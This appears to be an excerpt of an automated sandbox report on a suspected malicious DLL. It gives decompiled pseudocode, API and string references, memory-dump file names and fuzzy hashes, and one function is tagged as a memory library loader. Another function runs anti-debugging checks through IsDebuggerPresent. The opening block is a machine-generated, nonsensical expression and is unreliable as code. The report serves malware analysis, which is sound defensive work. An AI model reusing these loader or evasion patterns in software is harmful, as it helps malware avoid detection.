																	_t150 = _t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221))));
																	 *_t291 =  *_t291 + _t150;
																	 *0x2b =  *0x2b + 0x56;
																	 *_t221 =  *_t221 + _t203;
																	_t153 = _t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150)) +  *((intOrPtr*)(_t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150))));
																	 *((intOrPtr*)(_t153 + 3)) =  *((intOrPtr*)(_t153 + 3)) + _t153;
																	 *_t153 =  *_t153 + _t153;
																	asm("enter 0x3, 0x0");
																	asm("enter 0x3, 0x0");
																	_t154 = _t153 +  *_t153;
																	_t203[0] = _t203[0] + 0x56;
																	 *_t154 =  *_t154 + _t154;
																	_pop(_t281);
																	_t155 = _t154 +  *_t154;
																	_t203[0] = _t203[0] + _t221;
																	 *_t155 = _t155 +  *_t155;
																	__eflags =  *_t155;
																	asm("enter 0x3, 0x0");
																	if( *_t155 <= 0) {
																		 *_t155 = _t155 +  *_t155;
																		 *_t203 =  *_t203;
																		__eflags =  *_t203;
																	}
																	_t76 = _t281 + 0x55000003;
																	 *_t76 =  *(_t281 + 0x55000003) + _t221;
																	__eflags =  *_t76;
																	_push(_t203);
																	_push(_t281);
																	_push(_t291);
																	_t313 = _t312 - 0x24;
																	__eflags =  *_t221 - 1;
																	_t282 = _t221;
																	if( *_t221 != 1) {
																		_t222 =  *(_t282 + 8);
																		_t292 =  *(_t282 + 0xc);
																		_t157 =  *(_t282 + 4);
																		__eflags = _t292 - _t222;
																		_t313[3] = _t222;
																		if(_t292 >= _t222) {
																			L53:
																			__eflags = _t157;
																			if(_t157 == 0) {
																				L67:
																				_t204 = 0;
																				goto L72;
																			} else {
																				_t313[1] = 0x56;
																				_t258 = 0;
																				__eflags = _t292 - _t313[3];
																				_t204 = 0;
																				 *_t313 = _t292;
																				if(_t292 >= _t313[3]) {
																					goto L72;
																				} else {
																					_t313[2] = _t157;
																					_t225 = 0;
																					__eflags = 0;
																					_t307 =  *_t313 + 1;
																					_t164 = _t313[2];
																					asm("o16 nop [cs:eax+eax]");
																					while(1) {
																						_t165 =  *(_t164 + _t307 - 1) & 0x000000ff;
																						__eflags = _t165 - 0x5f;
																						if(_t165 == 0x5f) {
																							break;
																						}
																						_t207 = _t165 + 0xd0;
																						__eflags = _t207 - 0xa;
																						if(__eflags < 0) {
																							L63:
																							_t295 = _t282;
																							 *(_t282 + 0xc) = _t307;
																							_t170 = _t225;
																							_t208 = _t207 & 0xffffff00 | __eflags > 0x00000000;
																							_t171 = _t170 * 0x3e;
																							_t258 = (_t170 * 0x3e >> 0x20) + _t258 * 0x3e;
																							if(__eflags != 0) {
																								_t204 = 0;
																								__eflags = 0;
																								goto L71;
																							} else {
																								_t204 = 0;
																								_t225 = _t171 + (_t208 & 0x000000ff);
																								__eflags = _t225;
																								asm("adc edx, 0x0");
																								if(_t225 < 0) {
																									L71:
																									_t282 = _t295;
																									goto L72;
																								} else {
																									__eflags = _t313[3] - _t307;
																									_t164 = _t313[2];
																									_t307 = _t307 + 1;
																									_t282 = _t295;
																									if(__eflags != 0) {
																										continue;
																									} else {
																										goto L72;
																									}
																								}
																							}
																						} else {
																							_t173 = _t165 + 0x9f;
																							__eflags = _t173 - 0x1a;
																							if(__eflags >= 0) {
																								_t175 = _t173 + 0xbf;
																								__eflags = _t175 - 0x1a;
																								if(_t175 >= 0x1a) {
																									goto L67;
																								} else {
																									_t176 = _t175 + 0xe3;
																									__eflags = _t176;
																									goto L62;
																								}
																							} else {
																								_t176 = _t173 + 0xa9;
																								L62:
																								_t207 = _t176;
																								goto L63;
																							}
																						}
																						goto L76;
																					}
																					_t204 = 0;
																					_t226 = _t225 + 1;
																					__eflags = _t226;
																					 *(_t282 + 0xc) = _t307;
																					asm("adc edx, 0x0");
																					if(_t226 < 0) {
																						goto L72;
																					} else {
																						_t292 =  *_t313;
																						goto L49;
																					}
																				}
																			}
																		} else {
																			__eflags = _t157;
																			if(_t157 == 0) {
																				goto L53;
																			} else {
																				__eflags =  *((char*)(_t157 + _t292)) - 0x5f;
																				if( *((char*)(_t157 + _t292)) != 0x5f) {
																					goto L53;
																				} else {
																					_t313[1] = 0x56;
																					_t226 = 0;
																					__eflags = 0;
																					 *(_t282 + 0xc) = _t292 + 1;
																					L49:
																					_t204 = 0;
																					__eflags = _t226 - _t292 - 1;
																					asm("sbb edx, 0x0");
																					if(_t226 >= _t292 - 1) {
																						L72:
																						_t223 =  *(_t282 + 0x14);
																						__eflags =  *(_t282 + 0x14);
																						if( *(_t282 + 0x14) == 0) {
																							L74:
																							 *_t282 = 1;
																							 *(_t282 + 1) = _t204;
																							goto L75;
																						} else {
																							__eflags = _t204;
																							_t257 =  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6EC2F395;
																							_push((_t204 & 0x000000ff) + 0x10 + (_t204 & 0x000000ff) * 8);
																							_t162 = E6EBE1C10(_t223,  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6EC2F395);
																							_t313 =  &(_t313[1]);
																							_t158 = 1;
																							__eflags = _t162;
																							if(_t162 == 0) {
																								goto L74;
																							}
																						}
																					} else {
																						_t204 = 1;
																						_t167 =  *(_t282 + 0x10) + 1;
																						__eflags = _t167 - 0x1f4;
																						if(_t167 > 0x1f4) {
																							goto L72;
																						} else {
																							__eflags =  *(_t282 + 0x14);
																							if( *(_t282 + 0x14) == 0) {
																								goto L75;
																							} else {
																								asm("movsd xmm0, [edi]");
																								asm("movsd xmm1, [edi+0x8]");
																								 *_t282 = 0;
																								 *(_t282 + 0xc) = _t226;
																								 *(_t282 + 0x10) = _t167;
																								_t313[8] =  *(_t282 + 0x10);
																								__eflags = _t313[1];
																								asm("movsd [esp+0x18], xmm1");
																								asm("movsd [esp+0x10], xmm0");
																								_t158 = E6EBE6D90(_t282);
																								asm("movsd xmm0, [esp+0x10]");
																								asm("movsd xmm1, [esp+0x18]");
																								asm("movsd [edi], xmm0");
																								asm("movsd [edi+0x8], xmm1");
																								 *(_t282 + 0x10) = _t313[8];
																							}
																						}
																					}
																				}
																			}
																		}
																		goto L76;
																	} else {
																		_t232 =  *(_t282 + 0x14);
																		__eflags =  *(_t282 + 0x14);
																		if( *(_t282 + 0x14) == 0) {
																			L75:
																			_t158 = 0;
																			__eflags = 0;
																			L76:
																		} else {
																			_push(1);
																			_t158 = E6EBE1C10(_t232, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
																		}
																	}
																	return _t158;
																}
															}
														}
													}
												} else {
													__eflags =  *((char*)(_t201 + _t291)) - 0xbf;
													if( *((char*)(_t201 + _t291)) <= 0xbf) {
														goto L38;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								}
								goto L78;
							}
						}
						goto L19;
					}
				} else {
					_t249 =  *((intOrPtr*)(__ecx + 0x14));
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						L22:
						_t215 = 0;
						__eflags = 0;
					} else {
						_push(1);
						_t215 = E6EBE1C10(_t249, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
					}
					L23:
					return _t215;
				}
				L78:
			}

0x6ebe75f4
0x6ebe75f5
0x6ebe7618
0x6ebe761c
0x6ebe761f
0x6ebe7623
0x6ebe7627
0x6ebe7629
0x6ebe7786
0x6ebe7786
0x6ebe778a
0x6ebe778d
0x6ebe778f
0x6ebe77a6
0x6ebe77a6
0x00000000
0x6ebe7791
0x6ebe7796
0x6ebe7798
0x6ebe77a0
0x6ebe77a2
0x6ebe77a4
0x00000000
0x00000000
0x6ebe77a4
0x00000000
0x6ebe762f
0x6ebe762f
0x6ebe7633
0x6ebe7636
0x6ebe7639
0x6ebe763b
0x6ebe763f
0x6ebe7643
0x6ebe7651
0x6ebe7655
0x6ebe765a
0x6ebe765a
0x6ebe765b
0x6ebe7660
0x6ebe7663
0x6ebe7666
0x00000000
0x00000000
0x6ebe766e
0x6ebe7673
0x6ebe7676
0x6ebe7677
0x6ebe767a
0x6ebe767d
0x6ebe7680
0x00000000
0x6ebe7682
0x6ebe7684
0x6ebe7687
0x6ebe768a
0x00000000
0x6ebe768c
0x6ebe768c
0x6ebe768f
0x00000000
0x6ebe7695
0x6ebe7695
0x6ebe7699
0x6ebe769c
0x6ebe769e
0x6ebe76a0
0x6ebe79a5
0x6ebe79b2
0x6ebe79b7
0x6ebe79ba
0x00000000
0x6ebe76a6
0x6ebe76a6
0x6ebe76a8
0x6ebe76b4
0x6ebe76b4
0x6ebe76ba
0x6ebe76be
0x6ebe76c2
0x6ebe76c6
0x6ebe76cb
0x6ebe76d0
0x6ebe77bb
0x6ebe77be
0x6ebe77c0
0x00000000
0x6ebe77c2
0x6ebe77c9
0x6ebe77cb
0x6ebe77d0
0x6ebe77d3
0x6ebe77d5
0x6ebe77d7
0x00000000
0x6ebe77d9
0x6ebe77dd
0x6ebe77de
0x6ebe77e3
0x6ebe77e5
0x00000000
0x6ebe77e5
0x6ebe77d7
0x6ebe76d6
0x6ebe76da
0x6ebe76dd
0x6ebe76df
0x00000000
0x6ebe76e5
0x6ebe76e5
0x6ebe76e9
0x6ebe76ed
0x6ebe76f1
0x6ebe76f8
0x6ebe76fb
0x6ebe77ea
0x6ebe7701
0x6ebe7701
0x6ebe7706
0x6ebe7710
0x6ebe7710
0x6ebe7716
0x6ebe7728
0x6ebe7733
0x6ebe7744
0x6ebe7759
0x6ebe7762
0x6ebe7764
0x6ebe7768
0x6ebe776a
0x6ebe777a
0x6ebe777f
0x6ebe777f
0x6ebe7784
0x6ebe77ef
0x6ebe77f3
0x6ebe77f6
0x6ebe77f8
0x6ebe7806
0x6ebe7819
0x6ebe781e
0x6ebe781e
0x6ebe781e
0x6ebe7821
0x6ebe7824
0x6ebe7837
0x6ebe783c
0x6ebe783c
0x6ebe7826
0x6ebe7828
0x6ebe782c
0x6ebe782c
0x6ebe784d
0x6ebe7851
0x6ebe7852
0x6ebe7854
0x6ebe7855
0x6ebe7857
0x6ebe785c
0x6ebe785f
0x6ebe7861
0x6ebe7861
0x6ebe7863
0x00000000
0x6ebe7869
0x6ebe7869
0x6ebe786c
0x00000000
0x6ebe7872
0x6ebe7876
0x6ebe7879
0x6ebe787c
0x6ebe7882
0x6ebe7890
0x6ebe7895
0x6ebe789c
0x6ebe789c
0x6ebe79bc
0x6ebe79bc
0x6ebe79cb
0x6ebe79d0
0x6ebe79d3
0x6ebe79d8
0x6ebe79db
0x6ebe79e1
0x6ebe79e9
0x6ebe79eb
0x6ebe79f7
0x6ebe79fb
0x6ebe7a03
0x6ebe7a05
0x6ebe7a07
0x6ebe7a0b
0x6ebe7a0f
0x6ebe7a11
0x6ebe7a13
0x6ebe7a16
0x6ebe7a18
0x6ebe7a1c
0x6ebe7a21
0x6ebe7a23
0x6ebe7a26
0x6ebe7a28
0x6ebe7a29
0x6ebe7a2b
0x6ebe7a2e
0x6ebe7a2e
0x6ebe7a30
0x6ebe7a34
0x6ebe7a36
0x6ebe7a38
0x6ebe7a38
0x6ebe7a38
0x6ebe7a3b
0x6ebe7a3b
0x6ebe7a3b
0x6ebe7a41
0x6ebe7a42
0x6ebe7a43
0x6ebe7a44
0x6ebe7a47
0x6ebe7a4a
0x6ebe7a4c
0x6ebe7a6d
0x6ebe7a70
0x6ebe7a73
0x6ebe7a76
0x6ebe7a78
0x6ebe7a7c
0x6ebe7b22
0x6ebe7b22
0x6ebe7b24
0x6ebe7be2
0x6ebe7be2
0x00000000
0x6ebe7b2a
0x6ebe7b2a
0x6ebe7b2e
0x6ebe7b30
0x6ebe7b34
0x6ebe7b39
0x6ebe7b3c
0x00000000
0x6ebe7b42
0x6ebe7b42
0x6ebe7b49
0x6ebe7b49
0x6ebe7b4b
0x6ebe7b4e
0x6ebe7b52
0x6ebe7b60
0x6ebe7b60
0x6ebe7b65
0x6ebe7b67
0x00000000
0x00000000
0x6ebe7b6b
0x6ebe7b6e
0x6ebe7b71
0x6ebe7b9e
0x6ebe7ba5
0x6ebe7ba7
0x6ebe7bb3
0x6ebe7bb5
0x6ebe7bb8
0x6ebe7bba
0x6ebe7bc1
0x6ebe7bfb
0x6ebe7bfb
0x00000000
0x6ebe7bc3
0x6ebe7bc8
0x6ebe7bca
0x6ebe7bca
0x6ebe7bcc
0x6ebe7bcf
0x6ebe7bfd
0x6ebe7bfd
0x00000000
0x6ebe7bd1
0x6ebe7bd1
0x6ebe7bd5
0x6ebe7bd9
0x6ebe7bdc
0x6ebe7bde
0x00000000
0x6ebe7be0
0x00000000
0x6ebe7be0
0x6ebe7bde
0x6ebe7bcf
0x6ebe7b73
0x6ebe7b75
0x6ebe7b78
0x6ebe7b7b
0x6ebe7b92
0x6ebe7b95
0x6ebe7b98
0x00000000
0x6ebe7b9a
0x6ebe7b9a
0x6ebe7b9a
0x00000000
0x6ebe7b9a
0x6ebe7b7d
0x6ebe7b7d
0x6ebe7b9c
0x6ebe7b9c
0x00000000
0x6ebe7b9c
0x6ebe7b7b
0x00000000
0x6ebe7b71
0x6ebe7be6
0x6ebe7be8
0x6ebe7be8
0x6ebe7beb
0x6ebe7bee
0x6ebe7bf1
0x00000000
0x6ebe7bf3
0x6ebe7bf3
0x00000000
0x6ebe7bf3
0x6ebe7bf1
0x6ebe7b3c
0x6ebe7a82
0x6ebe7a82
0x6ebe7a84
0x00000000
0x6ebe7a8a
0x6ebe7a8a
0x6ebe7a8e
0x00000000
0x6ebe7a94
0x6ebe7a94
0x6ebe7a9b
0x6ebe7a9d
0x6ebe7a9f
0x6ebe7aa2
0x6ebe7aa3
0x6ebe7aa5
0x6ebe7aa7
0x6ebe7aaa
0x6ebe7bff
0x6ebe7bff
0x6ebe7c02
0x6ebe7c04
0x6ebe7c2d
0x6ebe7c2d
0x6ebe7c30
0x00000000
0x6ebe7c06
0x6ebe7c10
0x6ebe7c12
0x6ebe7c1c
0x6ebe7c1d
0x6ebe7c22
0x6ebe7c27
0x6ebe7c29
0x6ebe7c2b
0x00000000
0x00000000
0x6ebe7c2b
0x6ebe7ab0
0x6ebe7ab3
0x6ebe7ab5
0x6ebe7ab6
0x6ebe7abb
0x00000000
0x6ebe7ac1
0x6ebe7ac1
0x6ebe7ac5
0x00000000
0x6ebe7acb
0x6ebe7ace
0x6ebe7ad2
0x6ebe7ad7
0x6ebe7ada
0x6ebe7adf
0x6ebe7ae2
0x6ebe7ae8
0x6ebe7aed
0x6ebe7af3
0x6ebe7afc
0x6ebe7b01
0x6ebe7b07
0x6ebe7b11
0x6ebe7b15
0x6ebe7b1a
0x6ebe7b1a
0x6ebe7ac5
0x6ebe7abb
0x6ebe7aaa
0x6ebe7a8e
0x6ebe7a84
0x00000000
0x6ebe7a4e
0x6ebe7a4e
0x6ebe7a51
0x6ebe7a53
0x6ebe7c33
0x6ebe7c33
0x6ebe7c33
0x6ebe7c35
0x6ebe7a59
0x6ebe7a5e
0x6ebe7a60
0x6ebe7a65
0x6ebe7a53
0x6ebe7c3c
0x6ebe7c3c
0x6ebe786c
0x6ebe7863
0x6ebe76df
0x6ebe76aa
0x6ebe76aa
0x6ebe76ae
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebe76ae
0x6ebe76a8
0x6ebe76a0
0x6ebe768f
0x6ebe768a
0x00000000
0x6ebe7680
0x6ebe7660
0x00000000
0x6ebe7643
0x6ebe75f7
0x6ebe75f7
0x6ebe75fc
0x6ebe77ab
0x6ebe77ab
0x6ebe77ab
0x6ebe7602
0x6ebe7607
0x6ebe7611
0x6ebe7611
0x6ebe77ad
0x6ebe77b6
0x6ebe77b6
0x00000000

APIs

__aullrem.LIBCMT ref: 6EBE7723
__aulldiv.LIBCMT ref: 6EBE7733

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6EBE7C06
bool, xrefs: 6EBE788B
called `Option::unwrap()` on a `None` value, xrefs: 6EBE79BC
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE7602, 6EBE7A59

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a18f3ef341850bf1d31213b3e47dabeac2730e1e234975b195cb9a9786f94cee
Instruction ID: b82d11d19cc95bd6224d79f318e662942775379fc6024314f3d42b5481fce895
Opcode Fuzzy Hash: a18f3ef341850bf1d31213b3e47dabeac2730e1e234975b195cb9a9786f94cee
Instruction Fuzzy Hash: 45E107716087A19FD304CFA8C86075ABFE1EF86354F14896DD8958B7D2E3B4D846CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFD1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EBFD1D8
IsDebuggerPresent.KERNEL32 ref: 6EBFD2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EBFD2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6EBFD2CE

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: cd939c69258102d85c652e17cda1b00a7481589619b6ad72fe6c5107dc911a25
Instruction ID: 10e88f02e9acf3028a27b846bceb43d95541deb9ea29e9df4b957867a3eaa491
Opcode Fuzzy Hash: cd939c69258102d85c652e17cda1b00a7481589619b6ad72fe6c5107dc911a25
Instruction Fuzzy Hash: C3310575D1525CDBEB10DFA4D989BCCBBB8AF08304F1040AAE44DAB240EB719B89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEDD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EBEDD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EBF39E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EBFE9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6ec2f8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EC09A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EC09470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6ec306e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EBF0D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6ec3e128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6ec3e128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6ec3e128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6ec2fdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ec2f570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6EBE2150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
